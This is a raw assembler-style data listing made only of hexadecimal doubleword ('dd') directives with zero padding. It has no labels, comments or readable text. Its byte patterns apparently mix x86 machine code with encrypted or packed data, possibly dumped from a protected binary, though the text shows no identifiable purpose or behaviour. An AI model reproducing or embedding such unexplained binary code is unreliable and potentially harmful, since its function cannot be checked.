		dd 9DC819ABh, 9D7CFBB5h, 52D2A139h, 0F1DC22A5h,	0B89C2670h
		dd 23B50181h, 0B41D50A1h, 0F95D7CFBh, 0DAB52B1Bh, 9A50D25Ah
		dd 9F186B0Ch, 310F7D15h, 0DC190778h, 668E4348h,	3C7A0282h
		dd 0EF16B0B5h, 0DD14F882h, 0A47F115Dh, 0AFAD824h, 0DF71B93Bh
		dd 0A0388404h, 6092D92Ah, 82E64082h, 448A0DF8h,	0A2F37666h
		dd 9A1CF77Ah, 60F2F94Ah, 0A2064082h, 27128018h,	55C35BA7h
		dd 68B43477h, 81CD4D84h, 38EE9h, 6CE90000h, 0A0F26FB5h
		dd 6DB93908h, 3B8506D5h, 0C50D4A3h, 0D826A574h,	0A4F27140h
		dd 73BB3D0Ch, 3E8E0CDBh, 0E54D7A6h, 8D68ED76h, 89000077h
		dd 8953243Ch, 4C381E3h,	81000000h, 4EBh, 241C8700h, 243C895Ch
		dd 8904EC83h, 51562414h, 253154B9h, 0CBC18119h,	81117966h
		dd 8D7E2FE1h, 0FAC9815Ch, 8110DB74h, 0B22BEBE9h, 59CE8912h
		dd 545EF789h, 8324148Bh, 565304C4h, 0C16582BEh,	7AEE8121h
		dd 8921C165h, 0D3015EF3h, 0FF5B3B89h, 815A2434h, 4C4h
		dd 2434FF00h, 4C4835Fh,	0FBE545E9h, 0ADD806FFh,	4C1A1CCDh
		dd 9FB4662Bh, 5F21B8CBh, 0C503062Dh, 0FAF4E0FFh, 94011C15h
		dd 0BA261BAEh, 0C02B1F61h, 9A4008E6h, 56AF4C0Bh, 7E17EFCh
		dd 0CAF67859h, 0A1FA63DAh, 0FF1837B7h, 26A740B9h, 4CA1837h
		dd 96C17745h, 4A962562h, 0BC871955h, 3A540EB9h,	56E360AFh
		dd 0F4F63881h, 0DF84190Fh, 0D89D7A12h, 0CA3A597Eh, 10B7287Bh
		dd 8D8D0259h, 62D60B3h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 48C35747h, 158D89C1h,	66062807h, 0C74D5BBAh
		dd 2821BD85h, 5D3C06h, 0A9BB6600h, 3D85C7C3h, 62811h, 1000000h
		dd 280F99BDh, 0BDB5FF06h, 8B062826h, 0D995FFF3h, 6A062814h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 1F72C357h, 25558AA8h, 0B7CDB693h,	880FD58Ah
		dd 1Dh,	11E8h, 7A2C2F00h, 0A2EEB467h, 0E8ED512h, 88167643h
		dd 830F2F5Ch, 0
		dd 0FF006A5Eh, 28046595h, 0EBC08B06h, 0AFF6BC29h, 7410CCC7h
		dd 0BB9436F9h, 1A5C996h, 65AD2065h, 5FA83A84h, 68E1A926h
		dd 0AC26B8F5h, 317D19F2h, 96F0BF58h, 11E806A0h,	83000000h
		dd 81DBC9D4h, 903FE0Dh,	0D2A678E6h, 378EDC67h, 37EE8166h
		dd 9D8B5ABAh, 6283471h,	72DAC281h, 0B58B0000h, 6281911h
		dd 0DE9C92Bh, 0CC000000h, 0E4BF913h, 169E4336h,	6A497420h
		dd 891134FFh, 2806E59Dh, 0B5095806h, 6281979h, 0D4B5E881h
		dd 10E9562Eh, 0D9000000h, 3293215Fh, 8AAEC550h,	7962D77Bh
		dd 810963ABh, 0E998A0F0h, 81F98B11h, 96F6EFE8h,	0B8666045h
		dd 0A1BE93A2h, 61715C12h, 419D8950h, 8F06281Dh,	0F08B0A04h
		dd 5EFFE981h, 9D8B7061h, 6282941h, 5EFBC181h, 0BD037061h
		dd 6282331h, 8DE8F981h,	850FFFFFh, 0FFFFFF8Ch, 10E9h, 729D8C00h
		dd 0E1DD7211h, 40F79554h, 37539BFBh, 1DE968h, 0E2F60000h
		dd 1670h, 5 dup(0)
		dd 0E9000000h, 5B9h, 0C9463C0Dh, 7CF9F7C5h, 2DAAAC78h
		dd 0E4615729h, 981513E0h, 2BF8C995h, 0DDACB02Dh, 976266E3h
		dd 44141895h, 17A7CD4Ah, 5EF26BB1h, 0C53A0D79h,	0F11610E0h
		dd 0F572703Dh, 22721F1h, 18847E4Eh, 938A52B8h, 20AE7F73h
		dd 59ED5355h, 0AE7CA290h, 2FD98BB0h, 0E212C124h, 0B88E2288h
		dd 525420EAh, 32575120h, 0E5BFE44Ah, 5E2EB46Dh,	18E3E764h
		dd 6DB8784Ah, 0DA7F819Bh, 685075DBh, 21478502h,	4A325751h
		dd 53A078DEh, 12D47F73h, 0FDDA87Eh, 361E4341h, 28F7ABD0h
		dd 8A55092Eh, 56B16388h, 3E9C8A1Ah, 80824E80h, 5B14765Bh
		dd 8DB357A1h, 0B8A0C5BBh, 0E56B2424h, 4CAC181Ah, 73C536E6h
		dd 0EC80427Fh, 0FDF7C7CBh, 0C531E4D8h, 0E9E57F73h, 424C7030h
		dd 2684D416h, 5E1BE87Ch, 58BB3183h, 4Eh, 1610E085h, 34E44AAAh
		dd 407F7393h, 2D21EA7Eh, 7F7393E9h, 2BFB212Dh, 90240C31h
		dd 1F5AD790h, 97BB312Fh, 1, 1412E0C4h, 6F6D3BEFh, 64365C4Ah
		dd 706E3C6Eh, 723406DCh, 9B83A8A2h, 0BE361035h,	0B3B17F05h
		dd 68623236h, 13E082EBh, 0DE02F015h, 0F9377F03h, 13E97DA7h
		dd 6E224745h, 0CD81A69Ch, 10DC01FFh, 0C409C37Ch, 1AE76D26h
		dd 0BA8AB01Ch, 70B2CC0h, 0C1477337h, 0E31309DBh, 0F75C899h
		dd 9C6A36EAh, 6CD2CCh, 0AFAD7AA0h, 732F9F3Dh, 43D7997Fh
		dd 0D131877Ah, 732FAD6Bh, 7105C77Fh, 4E3BB871h,	68BB31E9h
		dd 0BCh, 22FA60C0h, 567F7355h, 0A6C50094h, 9338E046h, 0B03C7F73h
		dd 0A6D4281Ah, 10A40A09h, 3696D3Ah, 7F7310D5h, 12379D5Fh
		dd 6B90925Eh, 0DA601991h, 8E920F0Dh, 0B09EC3C1h, 72AEE48Ch
		dd 64F819F4h, 0CAFCBC8Eh, 7A407C6Fh, 0CAEE5AC0h, 0EA507B56h
		dd 7F738C32h, 1B548446h, 38019565h, 96BBB584h, 0F31812E2h
		dd 39F3AC0Eh, 9C982C8h,	871B11E3h, 3133CFBAh, 76E7BBh
		dd 0DF3F0000h, 7383A379h, 918B5B7Fh, 827C4BD9h,	7B0F755Dh
		dd 1513E040h, 0B4B483A9h, 73938E4Eh, 82E8AA7Fh,	0A309755Dh
		dd 7F739375h, 0E0A93DFFh, 0C193612Ch, 23F2A6CBh, 385DC329h
		dd 0B238F153h, 16AE7E5h, 7C4812E0h, 84A8147Ah, 0D8011655h
		dd 0D59E321Ah, 73F93EE1h, 0B0D6E27Fh, 0ABEE3E5h, 48DC4238h
		dd 67128F48h, 2BBB3199h, 12373905h, 1AA962Ah, 0D7000000h
		dd 0ED1214E0h, 4A6F6939h, 0AB31EA7Eh, 0AB71D7DFh, 537F7393h
		dd 45D38B81h, 0AD137977h, 486D4030h, 8CAB76DCh,	0BCD755Bh
		dd 0FA6A7B9Fh, 6921131Ah, 88580CD5h, 3D0D118Eh,	0F42A1E43h
		dd 0DD795BC7h, 20B9476Bh, 0D3AB153h, 0D51023DDh, 2EC2C240h
		dd 1FEF752Eh, 0D4A4A825h, 3101B5DAh, 399F9D6Bh,	3F9F4D14h
		dd 22F721Bh, 23955AB7h,	795B9BF5h, 2929BD7Fh, 541AEA70h
		dd 0B61C8886h, 795B9B66h, 7EEA5012h, 0ED8B435Ah, 0FDF22220h
		dd 2D93FF98h, 795B7AEFh, 1233C789h, 5A186217h, 6AD030C1h
		dd 795B66B2h, 847004C6h, 144h, 421F4B1h, 40123898h, 0A93D254Ah
		dd 5B5E3093h, 0DDD66275h, 733A0D98h, 0F9ADD238h, 9FC32F29h
		dd 0C62C3F54h, 795BDE16h, 2306022h, 522D9C4Fh, 65B66559h
		dd 464A6BFFh, 0A3577C76h, 476DD9D3h, 1DE67A7Ch,	779C9E69h
		dd 0D4F9F3C3h, 3F5880E6h, 1ADC795Bh, 0C9833CD0h, 6D2DE684h
		dd 587D7747h, 3606DC70h, 0B5C4BF3Ch, 0DDC159DBh, 0C5EAECB7h
		dd 315D49DDh, 8A000000h, 96021FF4h, 7393C830h, 0C5EAACFFh
		dd 73930BD1h, 661F83FFh, 96021FF4h, 7393C830h, 7EEAAC7Fh
		dd 678C8A58h, 7FE5E7B3h, 9DC3CAEBh, 0CA000000h,	38E046A6h
		dd 3C7F7393h, 5124E67Ah, 9310C82Eh, 62247F73h, 0F72A90FCh
		dd 89755BB4h, 1EEEA2C7h, 0D3A3A724h, 8CAF6DD3h,	7C9795Bh
		dd 688E7CA1h, 8D759A9Ch, 8D2EE3F9h, 3799795Bh, 2E28F87Eh
		dd 0C5EEC1B1h, 9E643359h, 0C4ACD1D3h, 0E551395Eh, 5BB3597Fh
		dd 8519DB79h, 519C0F75h, 0FCBE7308h, 595323D7h,	9EC46834h
		dd 0C5ADD2D0h, 0A0C5C793h, 6B2424B8h, 91FD26F9h, 110DCB31h
		dd 65277326h, 0D84B2035h, 0F78B9D2Dh, 8F6187E7h, 7CEF0599h
		dd 9E797591h, 7A4A70DCh, 62CBEC80h, 6B3821F4h, 0FA60486Dh
		dd 10C82E8Eh, 247F7393h, 25293262h, 0E71CE3B9h,	6ADD4353h
		dd 8C75203Eh, 98FE5ECAh, 795E2340h, 300032F4h, 25D9A236h
		dd 0DADE5B55h, 0F7EB100Ah, 893DB83Eh, 58B44BCh,	0BABE3B35h
		dd 0DDCBF0EAh, 8D87577Dh, 0CE0E8068h, 6A69F8A9h, 0EA0F11DCh
		dd 0CA309C02h, 69F8A912h, 0FAD06426h, 590D3228h, 0B5698E8Ch
		dd 535520E6h, 0BBE0462Eh, 0E8A25BEFh, 0CB510A9Eh, 6F9501FBh
		dd 0EC0DA1A3h, 0F91E18E8h, 0C42h, 87507400h, 5BC9713h
		dd 87EB26BAh, 190FE03Ah, 767040F4h, 0D0D29D51h,	2E28F7ABh
		dd 8A885509h, 0E6E4B165h, 453B0DC1h, 9EA06C20h,	0F9F7C579h
		dd 0D768FFD4h, 89000000h, 0EC81242Ch, 4, 68243489h, 4B2h
		dd 53241C89h, 0A654C768h, 0EB815B0Fh, 978F2F4h,	24348153h
		dd 5A0E1EF6h, 0F6F6815Eh, 5B5A0E1Eh, 241C8B54h,	5604C483h
		dd 17A8B850h, 44011015h, 8F580424h, 6B810843h, 1517A808h
		dd 241C8B10h, 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h
		dd 89562434h, 4C681E6h,	81000000h, 4C6h, 24348700h, 1853E95Ch
		dd 8D9BFFFBh, 6705B831h, 0C503062Dh, 0DFD7E0FFh, 421C57CEh
		dd 4944347Eh, 3DB802A0h, 1E7F48E7h, 0ADFB1A8Bh,	0F2B87C51h
		dd 1D7C41BAh, 5F725390h, 0D59A039Fh, 0B67139E2h, 2BC74EE9h
		dd 0C0EE065Eh, 50130AABh, 0F1631B48h, 0B331570Eh, 6A460DE5h
		dd 9DD66553h, 6D9611C7h, 457E1BCDh, 73802FD9h, 0DA6371A6h
		dd 0CE4C7F8Fh, 1F8234BDh, 0FB84150Ah, 0ACE9190Fh, 0C581BE8h
		dd 0C68714E0h, 18763A77h, 99426E39h, 8D8D66CCh,	62D6881h
		dd 18159D89h, 8D890628h, 6280715h, 21BD85C7h, 5F740628h
		dd 9D890000h, 6281D71h,	0BEFB0FBBh, 3D85C72Ch, 62811h
		dd 66000000h, 0FFCF36BEh, 281115B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FFE0B2D5h
		dd 2814D995h, 95296006h, 6280491h, 0D5B58B61h, 6A062816h
		dd 6595FF00h, 8B062804h, 0B079EBC0h, 35824FAEh,	0CD6965B0h
		dd 0E78C4520h, 29566057h, 4B932860h, 0ED5C26A8h, 1A18D7C1h
		dd 0DF1BBD50h, 733AD1C1h, 82996FD0h, 0FCDD4F8Fh, 73EC4410h
		dd 85E5BD62h, 0BE351818h, 6C567D1Ch, 28B11ADBh,	1985CCCAh
		dd 160696AEh, 9BE51318h, 892C7495h, 0D914668Bh,	92364F82h
		dd 16753170h, 8EBE17CDh, 0E59BD561h, 42267693h,	0C5F9057Fh
		dd 0EB4B44CDh, 0B42ED4E2h, 0F26A3BC7h, 0CED9D8Dh, 2AB80628h
		dd 89000000h, 28126585h, 0E806h, 5580000h, 0Dh,	2AE90389h
		dd 0
		dd 9 dup(77E600h), 0FF77E600h, 578D8DFFh, 6A062D6Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 83EEC352h, 88D2C16Eh, 8D89DAF8h, 6280715h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 35C35646h, 2DB533DFh
		dd 0C706282Ch, 2821BD85h, 6D9C06h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 85C72EF0h
		dd 628113Dh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6EC35545h
		dd 0ABB05868h, 112D8589h, 0B5FF0628h, 62822A9h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 65C35545h, 4E2855EFh
		dd 14D995FFh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 5C0548C3h, 602BE6FAh, 1061B589h
		dd 0B5890628h, 6280D49h, 0FF006A61h, 28046595h,	0EBC08B06h
		dd 0E32E5D39h, 7194C50h, 0BDA5FDF3h, 9F8DF15Eh,	6945172Ah
		dd 0D2B02CEDh, 0E3EC9401h, 2D4CC4CEh, 0AE84C9A7h, 0CD51ACDBh
		dd 0E80A0298h, 7CD2AD27h, 0CA7E00ACh, 1A473B42h, 4BE94785h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0FB14C353h, 0E880F3Fh,	60000000h
		dd 7E9h, 7C24E400h, 836385BEh, 55B58D61h, 0F062D6Bh, 786h
		dd 8B666000h, 61A0B3FBh, 0A6858DF5h, 6A062B47h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0E169C351h, 7497ECA8h, 0C0F6026h, 18F0Fh, 0FFF80000h
		dd 53006AD0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 3AA8EF82h, 6AC3F5h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 85ED38C3h, 8C66BE50h
		dd 11E9FCD9h, 54000000h, 0E4277936h, 0E09C52DBh, 18BC9634h
		dd 0EB9D67C9h, 0F04C1F6h, 4984h, 0CE900h, 0A8E20000h, 7BE0A9D7h
		dd 0BC2781B5h, 0FB8B3EBBh, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh
		dd 49D78BF9h, 0EBD98Bh,	13F20CDh, 0C00B0001h, 708D1874h
		dd 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h, 1,	8B09EBh, 0B8E4EBh
		dd 0CF000000h, 0E9F88B60h, 14h,	0A3EBEA85h, 0D94B22E6h
		dd 0B819074Fh, 39309B7Ah, 61247730h, 85C7F561h,	62D6BA1h
		dd 1013Fh, 0AE8h, 0A578100h, 0FE67542Bh, 0F0D16B5h, 38Eh
		dd 0C1BF0F00h, 0FE95Eh,	428C0000h, 9C8071DDh, 4BD0CFCEh
		dd 0CCA841B7h, 0ECC68163h, 8100006Bh, 70DD8DD7h, 0FDB2B44h
		dd 34FFC0B7h, 4840F33h,	66000000h, 592D87BFh, 30CCE981h
		dd 0AE92C50h, 69000000h, 809DFABDh, 0E9C14708h,	2AE98153h
		dd 0F81BA937h, 5126F181h, 8B6615BBh, 870F51D7h,	4, 43ECB866h
		dd 0B01E048Fh, 66BA6642h, 1EB8312h, 4BFB8B66h, 0FB814B4Bh
		dd 0FFFF94DCh, 1B850Fh,	0F600000h, 8166D6BFh, 61BCB1E2h
		dd 28E9h, 5EC05200h, 709ACB9Eh,	0E70C8FC9h, 11E680D7h
		dd 0FFFF81E9h, 0B162FFh, 69DC388Dh, 0B9FD9F96h,	7A56E3F4h
		dd 6DDA1989h, 60EB6Eh, 17h dup(0)
		dd 0E9000000h, 0A96h, 0A8AE9h, 749B6800h, 0A6E9062Dh, 68FFFB12h
		dd 62D7584h, 0FB129CE9h, 75EB68FFh, 92E9062Dh, 96FFFB12h
		dd 4E52CFC5h, 1058280h,	0B2B63335h, 696DEAE0h, 1E219E9Ch
		dd 0B6B48170h, 6C663539h, 1E20EBEFh, 0D3CD9DA1h, 3AA03056h
		dd 795EFEE2h, 0E04EC396h, 87AB1711h, 31B4FEA8h,	32FB8FA9h
		dd 49431250h, 0F8F8C8CCh, 73574A92h, 0ABA5747Fh, 0A6CB31F3h
		dd 2527F2h, 221CEC12h, 0AB8115FDh, 5076E2DCh, 775F8482h
		dd 99661AE3h, 57E92F95h, 0C98B7F73h, 3D1F763h, 0F4A87105h
		dd 50042927h, 0F61C887Eh, 0AEFE2E24h, 758ADC75h, 7529F286h
		dd 0CE82A7A9h, 3DDD0200h, 77DD496Ah, 752069E3h,	83E34F11h
		dd 878C755Fh, 0EAD2AEBAh, 392C2D0h, 0FE57958h, 0D6C64341h
		dd 1177E300h, 795E9EC7h, 153BA769h, 75DB4749h, 795E9EA7h
		dd 0B27B0FD1h, 36B2A0C4h, 3A99ACCCh, 0E515B9B7h, 1EB20F30h
		dd 17E7848h, 0DFFD63C3h, 0DF795EF0h, 5ED1214h, 0BCF78B4Dh
		dd 7F1610E0h, 1DF4D4EDh, 9E6E9400h, 95D510A4h, 23A0E92Ch
		dd 4416BE31h, 43000000h, 69001DF4h, 939840A6h, 0DA9C7F73h
		dd 0CA764A6Eh, 60C700ACh, 80A691CCh, 0A991B6B0h, 7FA50515h
		dd 0A290B5AFh, 73939C3Ch, 70D6987Fh, 12E0A1DCh,	6A577D14h
		dd 403182A6h, 2C5CAE61h, 26BF98h, 0F4C60000h, 0A669001Dh
		dd 0EEC0E646h, 935686F8h, 20E27F73h, 93A6768Ch,	35E17F73h
		dd 6B02686Ah, 12E01BA6h, 6A577D14h, 980421F4h, 930AD238h
		dd 6C2E7F73h, 0EF62C8D8h, 5D755B80h, 6C4A1839h,	5BC0D606h
		dd 70A06279h, 0B04460E4h, 796D9254h, 795BB7A7h,	44CC905Fh
		dd 34A8D21Eh, 0C7799E04h, 7518D104h, 0D1A1D3E8h, 52E6B2D7h
		dd 0DDA51599h, 61D55DD3h, 8B448AFBh, 59CE6B0Eh,	1544BC1h
		dd 0A6780000h, 9338E046h, 7A3C7F73h, 314E24E6h,	93B15FC5h
		dd 0F1B37F73h, 4E4818CCh, 10E068D1h, 0D4ED7F16h, 69001DF4h
		dd 82A62C95h, 4F7025E2h, 918DDF44h, 5A6C5989h, 54BAB082h
		dd 4596F3C0h, 4B20BE31h, 4D000000h, 69001DF4h, 80E646A6h
		dd 7F739358h, 81834EDCh, 9349AF1Bh, 0A57F7393h,	0E3394FE3h
		dd 957F7393h, 46A63CD3h, 0F7F1C0E6h, 0A078EAD2h, 0D47F7393h
		dd 1214E012h, 12E0437Eh, 6A577D14h, 23DDh, 19E90F00h, 251BED1Fh
		dd 1DF45691h, 40A66900h, 7F739398h, 0A634CBABh,	1412E01Bh
		dd 0B8B282A8h, 6A57E924h, 95011EF4h, 73931D2Fh,	98BD7F7Fh
		dd 9D1A14E4h, 0AE82A634h, 16A0E485h, 4616EC80h,	0D4EDB54Ch
		dd 69001DF4h, 0A0E92C95h, 16BE3123h, 39h, 7C7A486Eh, 1DF4ADE8h
		dd 80A66900h, 1121B5B3h, 0C2BC8BB1h, 93C0182Eh,	0B2747F73h
		dd 0E01BA61Bh, 232F4A12h, 713D6DE3h, 6A57740Bh,	3CDDh
		dd 17E90F00h, 8014FC21h, 341DF445h, 6A016769h, 939840A6h
		dd 0C4E87F73h, 72959681h, 0CE9ED0E1h, 13F340D4h, 0E01BA67Ch
		dd 84A81412h, 0CD569940h, 722C5D94h, 63D876A6h,	578DC85Ch
		dd 0B480A66Ah, 11A58DB2h, 0BB38h, 1EF43F00h, 0E12F9501h
		dd 837F7393h, 88AE9CC1h, 0B29ABFB9h, 0B278481Eh, 0E7B4E6E4h
		dd 76DCC4E9h, 10E090F9h, 0D4ED7F16h, 0B6B080A6h, 5315A991h
		dd 95C85F7Ch, 23A0E92Ch, 5416BE31h, 6E000000h, 8FAF834Ah
		dd 0FF65AE0Bh, 7C7374D9h, 9F33995Bh, 1DF464h, 0A1A36E94h
		dd 82A6D20Dh, 0BDBFC293h, 758519CDh, 7326C90Fh,	0BDD6B7Fh
		dd 1A807A49h, 3BA70DF5h, 264B4515h, 0A66FAA3Eh,	5880E646h
		dd 0DC7F7393h, 0E04B861Ah, 577D1412h, 2ADD6Ah, 0F4E40000h
		dd 0A669001Dh, 73939840h, 34CBAB7Fh, 46A61BA6h,	739338E0h
		dd 0E67A3C7Fh, 0AB784210h, 3AA088ADh, 0DDDBA8CEh, 6A570E49h
		dd 0AA1010E0h, 7F739372h, 80144406h, 0BFC636FEh, 7F3358BEh
		dd 0E646B2B4h, 73495880h, 861ADC7Fh, 61C72765h,	7F7349BBh
		dd 9167FBBDh, 0AEA2C7C1h, 7F734968h, 0E0B0D67Ah, 995252E6h
		dd 0E8E6B3D9h, 7147DBC3h, 0D0FDBA1h, 1D9A00E8h,	2A4F4919h
		dd 6E782B7Bh, 655F2FB5h, 0B484AAE8h, 916426BAh,	2FA20874h
		dd 51755B5Ah, 7EF52389h, 4B07795Bh, 0DBC90131h,	19FD8941h
		dd 0FEFC2F9Dh, 42A8147Ah, 795B0F9Ah, 5176DC9Eh,	5B0FBB5Dh
		dd 5BE0479h, 574D1F45h,	0E9B64A32h, 0C159CB90h,	2826h
		dd 0B81E7E00h, 795B3B60h, 0B6758814h, 0AA79029h, 0E0D510A4h
		dd 0FDF11610h, 7F7393DFh, 32FD23C7h, 0E39C9C30h, 16938D5Dh
		dd 1610E0ADh, 557E51F1h, 66AB83E9h, 3DC97520h, 371D0EEBh
		dd 38B51B4Bh, 0E4507548h, 76BF0B7Eh, 0B3197973h, 7326C165h
		dd 0B5B3810Fh, 0D15FBB4Fh, 69BA3905h, 0C778846h, 339981A6h
		dd 0D4D6A1C7h, 51837740h, 2A732678h, 0CBAE2BE4h, 0EBC7871Ah
		dd 36h,	351EF418h, 0CED09C6Ah, 365BC1A9h, 92B7B582h, 72DE44AAh
		dd 2D10FD4Eh, 0A5395539h, 8E192F95h, 0B97B7F73h, 0FAC7ED4Dh
		dd 5BEFD7FCh, 3AB7B985h, 1B33h,	1EF43A00h, 12719501h, 0A4EC1ED3h
		dd 5EC4D468h, 7F73754Ah, 5A80ECAEh, 0A60F8C8Eh,	186DDh
		dd 1BF4E400h, 0D4ED67FEh, 0B1B180A6h, 73938D4Bh, 7FE5A77Fh
		dd 8DE725Ah, 42123838h,	9306D648h, 70327F73h, 2B7A9E0Ah
		dd 8C86554Fh, 0C74F7F67h, 4DB31FDCh, 7F730B8Fh,	1853E7A9h
		dd 0A0E92C95h, 16BE3123h, 6Ah, 341BF443h, 60C6B1F4h, 7F7343B8h
		dd 0E8CAFABCh, 0C75EC4ACh, 0C2E646A6h, 0C2D64C3Ch, 8D0421Ch
		dd 2C7F73CDh, 18C0D66Ah, 1C7F73CDh, 0CD2EEE54h,	884A7F73h
		dd 678C8656h, 0A682197Fh, 1214E01Bh, 3595577Bh,	739309CFh
		dd 0D5692B7Fh, 7182A69Ah, 5C6B21FCh, 0C41BCE25h, 0DBA46594h
		dd 3B6E47h, 7AA00000h, 9F87ACAEh, 1BF4D00Bh, 80A667FEh
		dd 0AA92B7B1h, 78A00616h, 0B7F7393h, 372DFF25h,	60B82A12h
		dd 147F7393h, 0A655EC52h, 23B7B180h, 80A68813h,	4E24B8AEh
		dd 57E98082h, 0AE80A66Ah, 0BCB686B8h, 451BAF97h, 0EDE47B75h
		dd 1DF4D4h, 0E92C9569h,	0BE3123A0h, 4FACCF2h, 288470h
		dd 0F4B10000h, 0A669001Dh, 73939840h, 6EDA9C7Fh, 557A7C48h
		dd 0A69ED96Dh, 1412E01Bh, 0B080A67Dh, 0D6C322B6h, 40DDh
		dd 1DF4E400h, 46A66900h, 32575120h, 78A0B64Ah, 487F7393h
		dd 0C1555722h, 0A6FD9474h, 1BE8B280h, 0A492B71Dh, 73939E3Eh
		dd 72D89A7Fh, 4A6ECEDEh, 2A3CCAA6h, 0A974A6EBh,	0E0D813A7h
		dd 577D1412h, 1315E06Ah, 8DA00EEh, 0B5687E12h, 337F7393h
		dd 9964EAA3h, 0E0B11A97h, 7D774715h, 936DAB11h,	45077F73h
		dd 3B06BADFh, 0AF4D1439h, 0A3A570F6h, 89FFE226h, 2A537F73h
		dd 0BB313550h, 0FFFE5166h, 46A693FFh, 739338E0h, 0BAB03C7Fh
		dd 0FF56F4DBh, 0CAE074DAh, 7F730E16h, 730E2C70h, 0D41967Fh
		dd 0E7397F73h, 0DF7F730Dh, 7F730D3Dh, 730D5385h, 87AC7F3Fh
		dd 7AC9B51Bh, 0E9ABB55Eh, 345124C4h, 378762C8h,	27E9B370h
		dd 0F59E6B9h, 80371274h, 26Bh, 17E7445h, 0B4312FFDh, 65E2E4B0h
		dd 1C998F61h, 0D04D4B18h, 633081CDh, 15E4E865h,	0CF9A9E1Bh
		dd 7C4C50CDh, 4FDF0582h, 5EE733E9h, 0FD724579h,	0F11610E0h
		dd 0E9557E51h, 2066A783h, 8E0BCD75h, 5EFE964Ah,	54714479h
		dd 0B1C82E8h, 5E20730Dh, 4FACCF2h, 49EA3298h, 0CC8E7329h
		dd 0A2C82838h, 0CBB3D8D2h, 97916137h, 4C46161Ah, 49E93327h
		dd 52257329h, 435FC531h, 0A1797ABCh, 7D4D73DFh,	32020683h
		dd 0A0731338h, 0D4C1177Dh, 0B1736DFBh, 5D79DF4Bh, 0BF67A821h
		dd 3E636531h, 6084F056h, 59019F4Dh, 541DB1E8h, 58C4E1B4h
		dd 95F268F2h, 5ECA8C6Dh, 0F16E6838h, 0C2C08DB3h, 8E88582Eh
		dd 0B9A37569h, 9C6F6190h, 85A50B77h, 0EF6BC37Ch, 9568082Dh
		dd 0E39E0470h, 85504B26h, 460855C3h, 0C9A49364h, 18212h
		dd 958B5C00h, 48461418h, 0F9FBC7CBh, 0B0A6787Ch, 64622F33h
		dd 47B6E4E7h, 0FBFF7C7Ah, 0B1B5322Ch, 6367E4E6h, 0F61C9993h
		dd 0E6D80066h, 895C795Eh, 421F414h, 45123898h, 8D9DB347h
		dd 33752066h, 0B0443E0Dh, 7F6D9254h, 0FE63B91Fh, 5315795Eh
		dd 92AFDBFh, 0EFA4379Dh, 14D67376h, 981E7A6h, 5910EBB4h
		dd 11Bh, 0B12E24F5h, 64E1DFADh,	15929460h, 0CC493F11h
		dd 80FDFBC8h, 13E0D17Dh, 0C5949815h, 7F4A4ECBh,	2CFC007Dh
		dd 0FF8FB532h, 5EE64399h, 0AD22F579h, 980421F4h, 0B6741438h
		dd 14A37C02h, 50E44A44h, 208F183Ah, 20EE7C75h, 0C566B61Ch
		dd 5012795Dh, 0F41884EAh, 89C1D4B5h, 4795FBB9h,	0F1795D4Ah
		dd 6C35C92Fh, 71EEE8B8h, 7EA39D6Dh, 7EEA0BDEh, 0EBF8618h
		dd 77F4B673h, 0B2B81539h, 733575F0h, 56BEBE43h,	0A83C0CB8h
		dd 6C3A04D2h, 878B086Eh, 211FEDBBh, 70A80EFCh, 4732F15h
		dd 0DCAADC42h, 6BD1B9DEh, 2218EAEEh, 0C3C590B6h, 122B69Eh
		dd 5CF9DC3h, 30183D33h,	936036CAh, 91F7FBC9h, 732F154Bh
		dd 5FC52BEDh, 1311DEE2h, 0C9C39296h, 7B7D484Ch,	302AFAFEh
		dd 0D3D19EC4h, 4B1A1E3Fh, 7096D451h, 90BD7A5h, 0A4A671A3h
		dd 907B4E10h, 53C4E9AAh, 7BE74D96h, 7C8A8115h, 0CCF1B379h
		dd 0E24E4818h, 0CAFC1C82h, 0EA786DF9h, 15FD2218h, 0F3FA1BAFh
		dd 3, 0E03A87FAh, 40F4190Fh, 9D517670h,	0F7ABD0D2h, 55092E28h
		dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h
		dd 4AE868h, 240C8900h, 6B7768h,	241C8900h, 5E08950h, 4
		dd 42Dh, 24048700h, 2414895Ch, 8904EC83h, 4AB9240Ch, 89062D6Dh
		dd 0DA6859CBh, 8900004Ch, 4812424h, 424h, 53535A00h, 5378DABBh
		dd 245C311Bh, 428F5B04h, 8728108h, 1B5378DAh, 5A2434FFh
		dd 4C481h, 1C8B0000h, 0E3895324h, 4C381h, 0C3810000h, 4
		dd 5C241C87h, 0FB0834E9h, 0FBBDF0FFh, 0DC24C466h, 22188F95h
		dd 0B8B15EFDh, 62D772Bh, 0C38BC503h, 266E9h, 8C666000h
		dd 4C1F6D9h, 35840Fh, 16A0000h,	2DD5B5FFh, 858D0628h, 62B6F58h
		dd 8589D0FFh, 62823DDh,	0EFC1FE8Bh, 680Ch, 6A2006h, 6857026Ah
		dd 1000Dh, 23DD95FFh, 32E90628h, 0C6000000h, 280D2585h
		dd 0DF685606h, 0FFA9C530h, 28140DB5h, 58858D06h, 0FF062B6Fh
		dd 9D8589D0h, 8D062821h, 2819AD85h, 406A5006h, 0FF56056Ah
		dd 28219D95h, 0C36106h,	2 dup(0)
